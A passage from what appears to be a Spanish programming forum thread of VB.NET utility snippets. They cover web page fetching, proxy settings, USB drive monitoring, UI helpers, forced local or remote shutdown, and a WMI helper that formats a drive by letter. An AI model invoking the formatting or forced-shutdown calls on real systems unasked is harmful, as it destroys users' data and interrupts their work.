End Sub
''' <summary>
''' Sets the proxy of a Gecko Webbrowser.
''' </summary>
''' <param name="Host">Indicates the proxy host.</param>
''' <param name="Port">Indicates the proxy port.</param>
Private Sub SetGeckoProxy(ByVal Host As String,
ByVal Port As Integer)
' Set the ProxyType to manual configuration.
GeckoPreferences.Default("network.proxy.type") = ProxyType.Manual
' Set the HTP proxy Host and Port.
GeckoPreferences.Default("network.proxy.http") = Host
GeckoPreferences.Default("network.proxy.http_port") = Port
' Set the SSL proxy Host and Port.
GeckoPreferences.Default("network.proxy.ssl") = Host
GeckoPreferences.Default("network.proxy.ssl_port") = Port
End Sub
Devuelve un String con el source de una página
' Get SourcePage String
' ( By Elektro )
'
' Usage Examples:
' MsgBox(GetSourcePageString("http://www.elhacker.net"))
'
''' <summary>
''' Gets a web source page.
''' </summary>
''' <param name="URL">Indicates the source page URL to get.</param>
''' <returns>System.String.</returns>
''' <exception cref="Exception"></exception>
Private Function GetSourcePageString(ByVal URL As String) As String
Try
Using StrReader As New IO.StreamReader(Net.HttpWebRequest.Create(URL).GetResponse().GetResponseStream)
Return StrReader.ReadToEnd
End Using
Catch ex As Exception
Throw New Exception(ex.Message)
Return Nothing
End Try
End Function
Devuelve un Array con el source de una página:
' Get SourcePage Array
' ( By Elektro )
'
' Usage Examples:
' Dim SourceLines As String() = GetSourcePageArray("http://www.ElHacker.net", TrimLines:=True)
' For Each Line As String In SourceLines : MsgBox(Line) : Next Line
'
''' <summary>
''' Gets a web source page.
''' </summary>
''' <param name="URL">Indicates the source page URL to get.</param>
''' <param name="TrimLines">Indicates whether to trim the lines.</param>
''' <param name="SplitOptions">Indicates the split options.</param>
''' <returns>System.String[][].</returns>
''' <exception cref="Exception"></exception>
Private Function GetSourcePageArray(ByVal URL As String,
Optional ByVal TrimLines As Boolean = False,
Optional ByVal SplitOptions As StringSplitOptions =
StringSplitOptions.None) As String()
Try
Using StrReader As New IO.StreamReader(Net.HttpWebRequest.Create(URL).GetResponse().GetResponseStream)
If TrimLines Then
Return (From Line As String
In StrReader.ReadToEnd.Split({Environment.NewLine}, SplitOptions)
Select Line.Trim).ToArray
Else
Return StrReader.ReadToEnd.Split({Environment.NewLine}, SplitOptions)
End If
End Using
Catch ex As Exception
Throw New Exception(ex.Message)
Return Nothing
End Try
End Function
Devuelve el directorio de un proceso en ejecución
' Get Process Path
' ( By Elektro )
'
' Usage Examples:
' MsgBox(GetProcessPath("notepad.exe").First)
'
''' <summary>
''' Gets the absolute path of a running process.
''' </summary>
''' <param name="ProcessName">Indicates the name of the process.</param>
''' <returns>System.String[][].</returns>
''' <exception cref="Exception">ProcessName parametter can't be Null.</exception>
Public Function GetProcessPath(ByVal ProcessName As String) As String()
If ProcessName.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) Then
ProcessName = ProcessName.Remove(ProcessName.Length - 4)
End If
Return (From p As Process In Process.GetProcesses
Where p.ProcessName.Equals(ProcessName, StringComparison.OrdinalIgnoreCase)
Select p.MainModule.FileName).ToArray
End Function
Desordena un archivo de texto y devuelve un String
' Randomize TextFile String
' ( By Elektro )
'
' Usage Examples:
' MsgBox(RandomizeTextFileString("C:\File.txt", Encoding:=Nothing)))
'
''' <summary>
''' Randomizes the contents of a text file.
''' </summary>
''' <param name="TextFile">Indicates the text file to randomize.</param>
''' <param name="Encoding">Indicates the text encoding to use.</param>
''' <returns>System.String.</returns>
Public Function RandomizeTextFileString(ByVal TextFile As String,
Optional ByVal Encoding As System.Text.Encoding = Nothing) As String
Dim Randomizer As New Random
Return String.Join(Environment.NewLine,
(From Item As String
In IO.File.ReadAllLines(TextFile,
If(Encoding Is Nothing, System.Text.Encoding.Default, Encoding))
Order By Randomizer.Next))
End Function
Desordena un archivo d etexto y devuelve un Array:
' Randomize TextFile Array
' ( By Elektro )
'
' Usage Examples:
' MsgBox(RandomizeTextFileArray("C:\File.txt", Encoding:=Nothing).First))
'
''' <summary>
''' Randomizes the contents of a text file.
''' </summary>
''' <param name="TextFile">Indicates the text file to randomize.</param>
''' <param name="Encoding">Indicates the text encoding to use.</param>
''' <returns>System.String[].</returns>
Public Function RandomizeTextFileArray(ByVal TextFile As String,
Optional ByVal Encoding As System.Text.Encoding = Nothing) As String()
Dim Randomizer As New Random
Return (From Item As String
In IO.File.ReadAllLines(TextFile,
If(Encoding Is Nothing, System.Text.Encoding.Default, Encoding))
Order By Randomizer.Next).ToArray
End Function
He ideado este ayudante para desloguear el usuario actual, apagar o reiniciar el sistema en un pc local o remoto, o abortar una operación,
todo mediante la WinAPI (llevó bastante trabajo la investigación, y la escritura de documentación XML) :)
~> SystemRestarter for VB.NET - by Elektro (http://pastebin.com/4BN83EiU)
Ejemplos de uso:
Sub Test()
' Restart the current computer in 30 seconds and wait for applications to close.
' Specify that the restart operation is planned because a consecuence of an installation.
Dim Success =
SystemRestarter.Restart(Nothing, 30, "System is gonna be restarted quickly, save all your data...!",
SystemRestarter.Enums.InitiateShutdown_Force.Wait,
SystemRestarter.Enums.ShutdownReason.MajorOperatingSystem Or
SystemRestarter.Enums.ShutdownReason.MinorInstallation,
SystemRestarter.Enums.ShutdownPlanning.Planned)
Console.WriteLine(String.Format("Restart operation initiated successfully?: {0}", CStr(Success)))
' Abort the current operation.
If Success Then
Dim IsAborted = SystemRestarter.Abort()
Console.WriteLine(String.Format("Restart operation aborted successfully?: {0}", CStr(IsAborted)))
Else
Console.WriteLine("There is any restart operation to abort.")
End If
Console.ReadKey()
' Shutdown the current computer instantlly and force applications to close.
' ( When timeout is '0' the operation can't be aborted )
SystemRestarter.Shutdown(Nothing, 0, Nothing, SystemRestarter.Enums.InitiateShutdown_Force.ForceSelf)
' LogOffs the current user.
SystemRestarter.LogOff(SystemRestarter.Enums.ExitwindowsEx_Force.Wait)
End Sub
obtener los dispositivos extraibles que están conectados al sistema
' GetDrivesOfType
' ( By Elektro )
'
' Usage Examples:
'
' Dim Drives As IO.DriveInfo() = GetDrivesOfType(IO.DriveType.Fixed)
'
' For Each Drive As IO.DriveInfo In GetDrivesOfType(IO.DriveType.Removable)
' MsgBox(Drive.Name)
' Next Drive
'
''' <summary>
''' Get all the connected drives of the given type.
''' </summary>
''' <param name="DriveType">Indicates the type of the drive.</param>
''' <returns>System.IO.DriveInfo[].</returns>
Public Function GetDrivesOfType(ByVal DriveType As IO.DriveType) As IO.DriveInfo()
Return (From Drive As IO.DriveInfo In IO.DriveInfo.GetDrives
Where Drive.DriveType = DriveType).ToArray
End Function
monitorizar la inserción/extracción de dispositivos
' ***********************************************************************
' Author : Elektro
' Modified : 02-17-2014
' ***********************************************************************
' <copyright file="DriveWatcher.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
' ''' <summary>
' ''' The DriveWatcher instance to monitor USB devices.
' ''' </summary>
'Friend WithEvents USBMonitor As New DriveWatcher(form:=Me)
' ''' <summary>
' ''' Handles the DriveInserted event of the USBMonitor object.
' ''' </summary>
' ''' <param name="sender">The source of the event.</param>
' ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
'Private Sub USBMonitor_DriveInserted(ByVal sender As Object, ByVal e As DriveWatcher.DriveWatcherInfo) Handles USBMonitor.DriveInserted
' If e.DriveType = IO.DriveType.Removable Then ' If it's a removable media then...
' Dim sb As New System.Text.StringBuilder
' sb.AppendLine("DRIVE CONNECTED!")
' sb.AppendLine()
' sb.AppendLine(String.Format("Drive Name: {0}", e.Name))
' sb.AppendLine(String.Format("Drive Type: {0}", e.DriveType))
' sb.AppendLine(String.Format("FileSystem: {0}", e.DriveFormat))
' sb.AppendLine(String.Format("Is Ready? : {0}", e.IsReady))
' sb.AppendLine(String.Format("Root Dir. : {0}", e.RootDirectory))
' sb.AppendLine(String.Format("Vol. Label: {0}", e.VolumeLabel))
' sb.AppendLine(String.Format("Total Size: {0}", e.TotalSize))
' sb.AppendLine(String.Format("Free Space: {0}", e.TotalFreeSpace))
' sb.AppendLine(String.Format("Ava. Space: {0}", e.AvailableFreeSpace))
' MessageBox.Show(sb.ToString, "USBMonitor", MessageBoxButtons.OK, MessageBoxIcon.Information)
' End If
'End Sub
' ''' <summary>
' ''' Handles the DriveRemoved event of the USBMonitor object.
' ''' </summary>
' ''' <param name="sender">The source of the event.</param>
' ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
'Private Sub USBMonitor_DriveRemoved(ByVal sender As Object, ByVal e As DriveWatcher.DriveWatcherInfo) Handles USBMonitor.DriveRemoved
' If e.DriveType = IO.DriveType.Removable Then ' If it's a removable media then...
' Dim sb As New System.Text.StringBuilder
' sb.AppendLine("DRIVE DISCONNECTED!")
' sb.AppendLine()
' sb.AppendLine(String.Format("Drive Name: {0}", e.Name))
' sb.AppendLine(String.Format("Drive Type: {0}", e.DriveType))
' sb.AppendLine(String.Format("FileSystem: {0}", e.DriveFormat))
' sb.AppendLine(String.Format("Is Ready? : {0}", e.IsReady))
' sb.AppendLine(String.Format("Root Dir. : {0}", e.RootDirectory))
' sb.AppendLine(String.Format("Vol. Label: {0}", e.VolumeLabel))
' sb.AppendLine(String.Format("Total Size: {0}", e.TotalSize))
' sb.AppendLine(String.Format("Free Space: {0}", e.TotalFreeSpace))
' sb.AppendLine(String.Format("Ava. Space: {0}", e.AvailableFreeSpace))
' MessageBox.Show(sb.ToString, "USBMonitor", MessageBoxButtons.OK, MessageBoxIcon.Information)
' End If
'End Sub
#End Region
#Region " Imports "
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.ComponentModel
#End Region
''' <summary>
''' Device insertion/removal monitor.
''' </summary>
Public Class DriveWatcher : Inherits NativeWindow : Implements IDisposable
#Region " Objects "
''' <summary>
''' The current connected drives.
''' </summary>
Private CurrentDrives As New Dictionary(Of Char, DriveWatcherInfo)
''' <summary>
''' Indicates the drive letter of the current device.
''' </summary>
Private DriveLetter As Char = Nothing
''' <summary>
''' Indicates the current Drive information.
''' </summary>
Private CurrentDrive As DriveWatcherInfo = Nothing
''' <summary>
''' The form to manage their Windows Messages.
''' </summary>
Private WithEvents form As Form = Nothing
#End Region
#Region " Events "
''' <summary>
''' Occurs when a drive is inserted.
''' </summary>
Public Event DriveInserted(ByVal sender As Object, ByVal e As DriveWatcherInfo)
''' <summary>
''' Occurs when a drive is removed.
''' </summary>
Public Event DriveRemoved(ByVal sender As Object, ByVal e As DriveWatcherInfo)
#End Region
#Region " Enumerations "
''' <summary>
''' Notifies an application of a change to the hardware configuration of a device or the computer.
''' A window receives this message through its WindowProc function.
''' For more info, see here:
''' http://msdn.microsoft.com/en-us/library/windows/desktop/aa363480%28v=vs.85%29.aspx
''' http://msdn.microsoft.com/en-us/library/windows/desktop/aa363232%28v=vs.85%29.aspx
''' </summary>
Private Enum DeviceEvents As Integer
''' <summary>
''' The current configuration has changed, due to a dock or undock.
''' </summary>
Change = &H219
''' <summary>
''' A device or piece of media has been inserted and becomes available.
''' </summary>
Arrival = &H8000
''' <summary>
''' Request permission to remove a device or piece of media.
''' This message is the last chance for applications and drivers to prepare for this removal.
''' However, any application can deny this request and cancel the operation.
''' </summary>
QueryRemove = &H8001
''' <summary>
''' A request to remove a device or piece of media has been canceled.
''' </summary>
QueryRemoveFailed = &H8002
''' <summary>
''' A device or piece of media is being removed and is no longer available for use.
''' </summary>
RemovePending = &H8003
''' <summary>
''' A device or piece of media has been removed.
''' </summary>
RemoveComplete = &H8004
''' <summary>
''' The type volume
''' </summary>
TypeVolume = &H2
End Enum
#End Region
#Region " Structures "
''' <summary>
''' Indicates information related of a Device.
''' ( Replic of System.IO.DriveInfo )
''' </summary>
Public Structure DriveWatcherInfo
''' <summary>
''' Indicates the name of a drive, such as 'C:\'.
''' </summary>
Public Name As String
''' <summary>
''' Indicates the amount of available free space on a drive, in bytes.
''' </summary>
Public AvailableFreeSpace As Long
''' <summary>
''' Indicates the name of the filesystem, such as 'NTFS', 'FAT32', 'UDF', etc...
''' </summary>
Public DriveFormat As String
''' <summary>
''' Indicates the the drive type, such as 'CD-ROM', 'removable', 'fixed', etc...
''' </summary>
Public DriveType As DriveType
''' <summary>
''' Indicates whether a drive is ready.
''' </summary>
Public IsReady As Boolean
''' <summary>
''' Indicates the root directory of a drive.
''' </summary>
Public RootDirectory As String
''' <summary>
''' Indicates the total amount of free space available on a drive, in bytes.
''' </summary>
Public TotalFreeSpace As Long
''' <summary>
''' Indicates the total size of storage space on a drive, in bytes.
''' </summary>
Public TotalSize As Long
''' <summary>
''' Indicates the volume label of a drive.
''' </summary>
Public VolumeLabel As String
''' <summary>
''' Initializes a new instance of the <see cref="DriveWatcherInfo"/> struct.
''' </summary>
''' <param name="e">The e.</param>
Public Sub New(ByVal e As DriveInfo)
Name = e.Name
Select Case e.IsReady
Case True ' Drive is formatted and ready.
IsReady = True
DriveFormat = e.DriveFormat
DriveType = e.DriveType
RootDirectory = e.RootDirectory.FullName
VolumeLabel = e.VolumeLabel
TotalSize = e.TotalSize
TotalFreeSpace = e.TotalFreeSpace
AvailableFreeSpace = e.AvailableFreeSpace
Case False ' Drive is not formatted so can't retrieve data.
IsReady = False
DriveFormat = Nothing
DriveType = e.DriveType
RootDirectory = e.RootDirectory.FullName
VolumeLabel = Nothing
TotalSize = 0
TotalFreeSpace = 0
AvailableFreeSpace = 0
End Select ' e.IsReady
End Sub
End Structure
''' <summary>
''' Contains information about a logical volume.
''' For more info, see here:
''' http://msdn.microsoft.com/en-us/library/windows/desktop/aa363249%28v=vs.85%29.aspx
''' </summary>
<StructLayout(LayoutKind.Sequential)>
Private Structure DEV_BROADCAST_VOLUME
''' <summary>
''' The size of this structure, in bytes.
''' </summary>
Public Size As UInteger
''' <summary>
''' Set to DBT_DEVTYP_VOLUME (2).
''' </summary>
Public Type As UInteger
''' <summary>
''' Reserved parameter; do not use this.
''' </summary>
Public Reserved As UInteger
''' <summary>
''' The logical unit mask identifying one or more logical units.
''' Each bit in the mask corresponds to one logical drive.
''' Bit 0 represents drive A, bit 1 represents drive B, and so on.
''' </summary>
Public Mask As UInteger
''' <summary>
''' This parameter can be one of the following values:
''' '0x0001': Change affects media in drive. If not set, change affects physical device or drive.
''' '0x0002': Indicated logical volume is a network volume.
''' </summary>
Public Flags As UShort
End Structure
#End Region
#Region " Constructor "
''' <summary>
''' Initializes a new instance of this class.
''' </summary>
''' <param name="form">The form to assign.</param>
Public Sub New(ByVal form As Form)
' Assign the Formulary.
Me.form = form
End Sub
#End Region
#Region " Event Handlers "
''' <summary>
''' Assign the handle of the target Form to this NativeWindow,
''' necessary to override target Form's WndProc.
''' </summary>
Private Sub SetFormHandle() _
Handles form.HandleCreated, form.Load, form.Shown
If Not MyBase.Handle.Equals(Me.form.Handle) Then
MyBase.AssignHandle(Me.form.Handle)
End If
End Sub
''' <summary>
''' Releases the Handle.
''' </summary>
Private Sub OnHandleDestroyed() _
Handles form.HandleDestroyed
MyBase.ReleaseHandle()
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Gets the drive letter stored in a 'DEV_BROADCAST_VOLUME' structure object.
''' </summary>
''' <param name="Device">
''' Indicates the 'DEV_BROADCAST_VOLUME' object containing the Device mask.
''' </param>
''' <returns>System.Char.</returns>
Private Function GetDriveLetter(ByVal Device As DEV_BROADCAST_VOLUME) As Char
Dim DriveLetters As Char() =
{
"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R",
"S", "T", "U", "V", "W", "X", "Y", "Z"
}
Dim DeviceID As New BitArray(BitConverter.GetBytes(Device.Mask))
For X As Integer = 0 To DeviceID.Length
If DeviceID(X) Then
Return DriveLetters(X)
End If
Next X
Return Nothing
End Function
#End Region
#Region " WndProc"
''' <summary>
''' Invokes the default window procedure associated with this window to process messages for this Window.
''' </summary>
''' <param name="m">
''' A <see cref="T:System.Windows.Forms.Message" /> that is associated with the current Windows message.
''' </param>
Protected Overrides Sub WndProc(ByRef m As Message)
Select Case m.Msg
Case DeviceEvents.Change ' The hardware has changed.
' Transform the LParam pointer into the data structure.
Dim CurrentWDrive As DEV_BROADCAST_VOLUME =
CType(Marshal.PtrToStructure(m.LParam, GetType(DEV_BROADCAST_VOLUME)), DEV_BROADCAST_VOLUME)
Select Case m.WParam.ToInt32
Case DeviceEvents.Arrival ' The device is connected.
' Get the drive letter of the connected device.
DriveLetter = GetDriveLetter(CurrentWDrive)
' Get the drive information of the connected device.
CurrentDrive = New DriveWatcherInfo(New DriveInfo(DriveLetter))
' If it's an storage device then...
If Marshal.ReadInt32(m.LParam, 4) = DeviceEvents.TypeVolume Then
' Inform that the device is connected by raising the 'DriveConnected' event.
RaiseEvent DriveInserted(Me, CurrentDrive)
' Add the connected device to the dictionary, to retrieve info.
If Not CurrentDrives.ContainsKey(DriveLetter) Then
CurrentDrives.Add(DriveLetter, CurrentDrive)
End If ' Not CurrentDrives.ContainsKey(DriveLetter)
End If ' Marshal.ReadInt32(m.LParam, 4) = DeviceEvents.TypeVolume
Case DeviceEvents.QueryRemove ' The device is preparing to be removed.
' Get the letter of the current device being removed.
DriveLetter = GetDriveLetter(CurrentWDrive)
' If the current device being removed is not in the dictionary then...
If Not CurrentDrives.ContainsKey(DriveLetter) Then
' Get the device information of the current device being removed.
CurrentDrive = New DriveWatcherInfo(New DriveInfo(DriveLetter))
' Add the current device to the dictionary,
' to retrieve info before lost it after fully-removal.
CurrentDrives.Add(DriveLetter, New DriveWatcherInfo(New DriveInfo(DriveLetter)))
End If ' Not CurrentDrives.ContainsKey(DriveLetter)
Case DeviceEvents.RemoveComplete
' Get the letter of the removed device.
DriveLetter = GetDriveLetter(CurrentWDrive)
' Inform that the device is disconnected by raising the 'DriveDisconnected' event.
RaiseEvent DriveRemoved(Me, CurrentDrive)
' If the removed device is in the dictionary then...
If CurrentDrives.ContainsKey(DriveLetter) Then
' Remove the device from the dictionary.
CurrentDrives.Remove(DriveLetter)
End If ' CurrentDrives.ContainsKey(DriveLetter)
End Select ' m.WParam.ToInt32
End Select ' m.Msg
MyBase.WndProc(m) ' Return Message to base message handler.
End Sub
#End Region
#Region " Hidden methods "
' These methods and properties are purposely hidden from Intellisense just to look better without unneeded methods.
' NOTE: The methods can be re-enabled at any-time if needed.
''' <summary>
''' Assigns a handle to this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub AssignHandle()
End Sub
''' <summary>
''' Creates a window and its handle with the specified creation parameters.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub CreateHandle()
End Sub
''' <summary>
''' Creates an object that contains all the relevant information required
''' to generate a proxy used to communicate with a remote object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub CreateObjRef()
End Sub
''' <summary>
''' Invokes the default window procedure associated with this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub DefWndProc()
End Sub
''' <summary>
''' Destroys the window and its handle.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub DestroyHandle()
End Sub
''' <summary>
''' Determines whether the specified object is equal to the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub Equals()
End Sub
''' <summary>
''' Serves as the default hash function.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetHashCode()
End Sub
''' <summary>
''' Retrieves the current lifetime service object that controls the lifetime policy for this instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetLifetimeService()
End Sub
''' <summary>
''' Obtains a lifetime service object to control the lifetime policy for this instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub InitializeLifetimeService()
End Sub
''' <summary>
''' Releases the handle associated with this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ReleaseHandle()
End Sub
''' <summary>
''' Gets the handle for this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Property Handle()
#End Region
#Region " IDisposable "
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
Private IsDisposed As Boolean = False
''' <summary>
''' Prevent calls to methods after disposing.
''' </summary>
''' <exception cref="System.ObjectDisposedException"></exception>
Private Sub DisposedCheck()
If Me.IsDisposed Then
Throw New ObjectDisposedException(Me.GetType().FullName)
End If
End Sub
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
''' <summary>
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' <param name="IsDisposing">
''' <c>true</c> to release both managed and unmanaged resources;
''' <c>false</c> to release only unmanaged resources.
''' </param>
Protected Sub Dispose(ByVal IsDisposing As Boolean)
If Not Me.IsDisposed Then
If IsDisposing Then
Me.form = Nothing
MyBase.ReleaseHandle()
MyBase.DestroyHandle()
End If
End If
Me.IsDisposed = True
End Sub
#End Region
End Class
[RichTextBox] Colorize Words
Busca coincidencias de texto y las colorea.
' Colorize Words
' ( By Elektro )
'
' Usage Examples:
'
' ColorizeWord(RichTextBox1, "Hello", True,
' Color.Red, Color.Black,
' New Font(RichTextBox1.Font.FontFamily, RichTextBox1.Font.Size, FontStyle.Italic))
'
' ColorizeWords(RichTextBox1, {"Hello", "[0-9]"}, IgnoreCase:=False,
' ForeColor:=Color.Red, BackColor:=Nothing, Font:=Nothing)
''' <summary>
''' Find a word on a RichTextBox and colorizes each match.
''' </summary>
''' <param name="RichTextBox">Indicates the RichTextBox.</param>
''' <param name="Word">Indicates the word to colorize.</param>
''' <param name="IgnoreCase">Indicates the ignore case.</param>
''' <param name="ForeColor">Indicates the text color.</param>
''' <param name="BackColor">Indicates the background color.</param>
''' <param name="Font">Indicates the text font.</param>
''' <returns><c>true</c> if matched at least one word, <c>false</c> otherwise.</returns>
Private Function ColorizeWord(ByVal [RichTextBox] As RichTextBox,
ByVal Word As String,
Optional ByVal IgnoreCase As Boolean = False,
Optional ByVal ForeColor As Color = Nothing,
Optional ByVal BackColor As Color = Nothing,
Optional ByVal [Font] As Font = Nothing) As Boolean
' Find all the word matches.
Dim Matches As System.Text.RegularExpressions.MatchCollection =
System.Text.RegularExpressions.Regex.Matches([RichTextBox].Text, Word,
If(IgnoreCase,
System.Text.RegularExpressions.RegexOptions.IgnoreCase,
System.Text.RegularExpressions.RegexOptions.None))
' If no matches then return.
If Not Matches.Count <> 0 Then
Return False
End If
' Set the passed Parameter values.
If ForeColor.Equals(Nothing) Then ForeColor = [RichTextBox].ForeColor
If BackColor.Equals(Nothing) Then BackColor = [RichTextBox].BackColor
If [Font] Is Nothing Then [Font] = [RichTextBox].Font
' Store the current caret position to restore it at the end.
Dim CaretPosition As Integer = [RichTextBox].SelectionStart
' Suspend the control layout to work quicklly.
[RichTextBox].SuspendLayout()
' Colorize each match.
For Each Match As System.Text.RegularExpressions.Match In Matches
[RichTextBox].Select(Match.Index, Match.Length)
[RichTextBox].SelectionColor = ForeColor
[RichTextBox].SelectionBackColor = BackColor
[RichTextBox].SelectionFont = [Font]
Next Match
' Restore the caret position.
[RichTextBox].Select(CaretPosition, 0)
' Restore the control layout.
[RichTextBox].ResumeLayout()
' Return successfully
Return True
End Function
''' <summary>
''' Find multiple words on a RichTextBox and colorizes each match.
''' </summary>
''' <param name="RichTextBox">Indicates the RichTextBox.</param>
''' <param name="Words">Indicates the words to colorize.</param>
''' <param name="IgnoreCase">Indicates the ignore case.</param>
''' <param name="ForeColor">Indicates the text color.</param>
''' <param name="BackColor">Indicates the background color.</param>
''' <param name="Font">Indicates the text font.</param>
''' <returns><c>true</c> if matched at least one word, <c>false</c> otherwise.</returns>
Private Function ColorizeWords(ByVal [RichTextBox] As RichTextBox,
ByVal Words As String(),
Optional ByVal IgnoreCase As Boolean = False,
Optional ByVal ForeColor As Color = Nothing,
Optional ByVal BackColor As Color = Nothing,
Optional ByVal [Font] As Font = Nothing) As Boolean
Dim Success As Boolean = False
For Each Word As String In Words
Success += ColorizeWord([RichTextBox], Word, IgnoreCase, ForeColor, BackColor, [Font])
Next Word
Return Success
End Function
[ListView] Remove Duplicates
Elimina Items duplicados de un Listview, comparando un índice de subitem específico.
' Remove ListView Duplicates
' ( By Elektro )
'
' Usage Examples:
' Dim Items As ListView.ListViewItemCollection = New ListView.ListViewItemCollection(ListView1)
' RemoveListViewDuplicates(Items, 0)
'
''' <summary>
''' Removes duplicated items from a Listview.
''' </summary>
''' <param name="Items">
''' Indicates the items collection.
''' </param>
''' <param name="SubitemCompare">
''' Indicates the subitem column to compare duplicates.
''' </param>
Private Sub RemoveListViewDuplicates(ByVal Items As ListView.ListViewItemCollection,
ByVal SubitemCompare As Integer)
' Suspend the layout on the Control that owns the Items collection.
Items.Item(0).ListView.SuspendLayout()
' Get the duplicated Items.
Dim Duplicates As ListViewItem() =
Items.Cast(Of ListViewItem)().
GroupBy(Function(Item As ListViewItem) Item.SubItems(SubitemCompare).Text).
Where(Function(g As IGrouping(Of String, ListViewItem)) g.Count <> 1).
SelectMany(Function(g As IGrouping(Of String, ListViewItem)) g).
Skip(1).
ToArray()
' Delete the duplicated Items.
For Each Item As ListViewItem In Duplicates
Items.Remove(Item)
Next Item
' Resume the layout on the Control that owns the Items collection.
Items.Item(0).ListView.ResumeLayout()
Duplicates = Nothing
End Sub
Formatea un dispositivo
' Format Drive
' ( By Elektro )
'
' Usage Examples:
' FormatDrive("Z")
' MsgBox(FormatDrive("Z", DriveFileSystem.NTFS, True, 4096, "Formatted", False))
''' <summary>
''' Indicates the possible HardDisk filesystem's for Windows OS.
''' </summary>
Public Enum DriveFileSystem As Integer
' NOTE:
' *****
' The numeric values just indicates the max harddisk volume-label character-length for each filesystem.
''' <summary>
''' NTFS FileSystem.
''' </summary>
NTFS = 32
''' <summary>
''' FAT16 FileSystem.
''' </summary>
FAT16 = 11
''' <summary>
''' FAT32 FileSystem.
''' </summary>
FAT32 = FAT16
End Enum
''' <summary>
''' Formats a drive.
''' For more info see here:
''' http://msdn.microsoft.com/en-us/library/aa390432%28v=vs.85%29.aspx
''' </summary>
''' <param name="DriveLetter">
''' Indicates the drive letter to format.
''' </param>
''' <param name="FileSystem">
''' Indicates the filesystem format to use for this volume.
''' The default is "NTFS".
''' </param>
''' <param name="QuickFormat">
''' If set to <c>true</c>, formats the volume with a quick format by removing files from the disk
''' without scanning the disk for bad sectors.
''' Use this option only if the disk has been previously formatted,
''' and you know that the disk is not damaged.
''' The default is <c>true</c>.
''' </param>
''' <param name="ClusterSize">
''' Disk allocation unit size—cluster size.
''' All of the filesystems organizes the hard disk based on cluster size,
''' which represents the smallest amount of disk space that can be allocated to hold a file.
''' The smaller the cluster size you use, the more efficiently your disk stores information.
''' If no cluster size is specified during format, Windows picks defaults based on the size of the volume.
''' These defaults have been selected to reduce the amount of space lost and to reduce fragmentation.
''' For general use, the default settings are strongly recommended.
''' </param>
''' <param name="VolumeLabel">
''' Indicates the Label to use for the new volume.
''' The volume label can contain up to 11 characters for FAT16 and FAT32 volumes,
''' and up to 32 characters for NTFS filesystem volumes.
''' </param>
''' <param name="EnableCompression">Not implemented.</param>
''' <returns>
''' 0 = Success.
''' 1 = Unsupported file system.
''' 2 = Incompatible media in drive.
''' 3 = Access denied.
''' 4 = Call canceled.
''' 5 = Call cancellation request too late.
''' 6 = Volume write protected.
''' 7 = Volume lock failed.
''' 8 = Unable to quick format.
''' 9 = Input/Output (I/O) error.
''' 10 = Invalid volume label.
''' 11 = No media in drive.
''' 12 = Volume is too small.
''' 13 = Volume is too large.
''' 14 = Volume is not mounted.
''' 15 = Cluster size is too small.
''' 16 = Cluster size is too large.
''' 17 = Cluster size is beyond 32 bits.
''' 18 = Unknown error.
''' </returns>
Public Function FormatDrive(ByVal DriveLetter As Char,
Optional ByVal FileSystem As DriveFileSystem = DriveFileSystem.NTFS,
Optional ByVal QuickFormat As Boolean = True,
Optional ByVal ClusterSize As Integer = Nothing,
Optional ByVal VolumeLabel As String = Nothing,
Optional ByVal EnableCompression As Boolean = False) As Integer
' Volume-label error check.
If Not String.IsNullOrEmpty(VolumeLabel) Then
If VolumeLabel.Length > FileSystem Then
Throw New Exception(String.Format("Volume label for '{0}' filesystem can't be larger than '{1}' characters.",
FileSystem.ToString, CStr(FileSystem)))
End If
End If
Dim Query As String = String.Format("select * from Win32_Volume WHERE DriveLetter = '{0}:'",
Convert.ToString(DriveLetter))
Using WMI As New ManagementObjectSearcher(Query)
Return CInt(WMI.[Get].Cast(Of ManagementObject).First.
InvokeMethod("Format",
New Object() {FileSystem, QuickFormat, ClusterSize, VolumeLabel, EnableCompression}))
End Using
Return 18 ' Unknown error.
End Function
Una helper class para las librerías 'SautinSoft.HtmlToRtf' y 'SautinSoft.RtfToHtml', como sus nombres indican, para convertir distintos documentos entre HTML, RTF, DOC y TXT.
La verdad es que se consiguen muy buenos resultados y tiene muchas opciones de customización, esta librería es mucho mejor que la que posteé hace unas semanas del cual también hice un ayudante.
' ***********************************************************************
' Author : Elektro
' Modified : 02-20-2014
' ***********************************************************************
' <copyright file="DocumentConverter.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Example Usages "
' ' HTML 2 RTF
' RichTextBox1.Rtf = HTMLConverter.Html2Rtf(IO.File.ReadAllText("C:\File.htm", System.Text.Encoding.Default),
' SautinSoft.HtmlToRtf.eEncoding.AutoDetect, False,
' DocumentConverter.PageSize.Auto, SautinSoft.HtmlToRtf.ePageNumbers.PageNumFirst,
' "Page {page} of {numpages}", SautinSoft.HtmlToRtf.eAlign.Undefined,
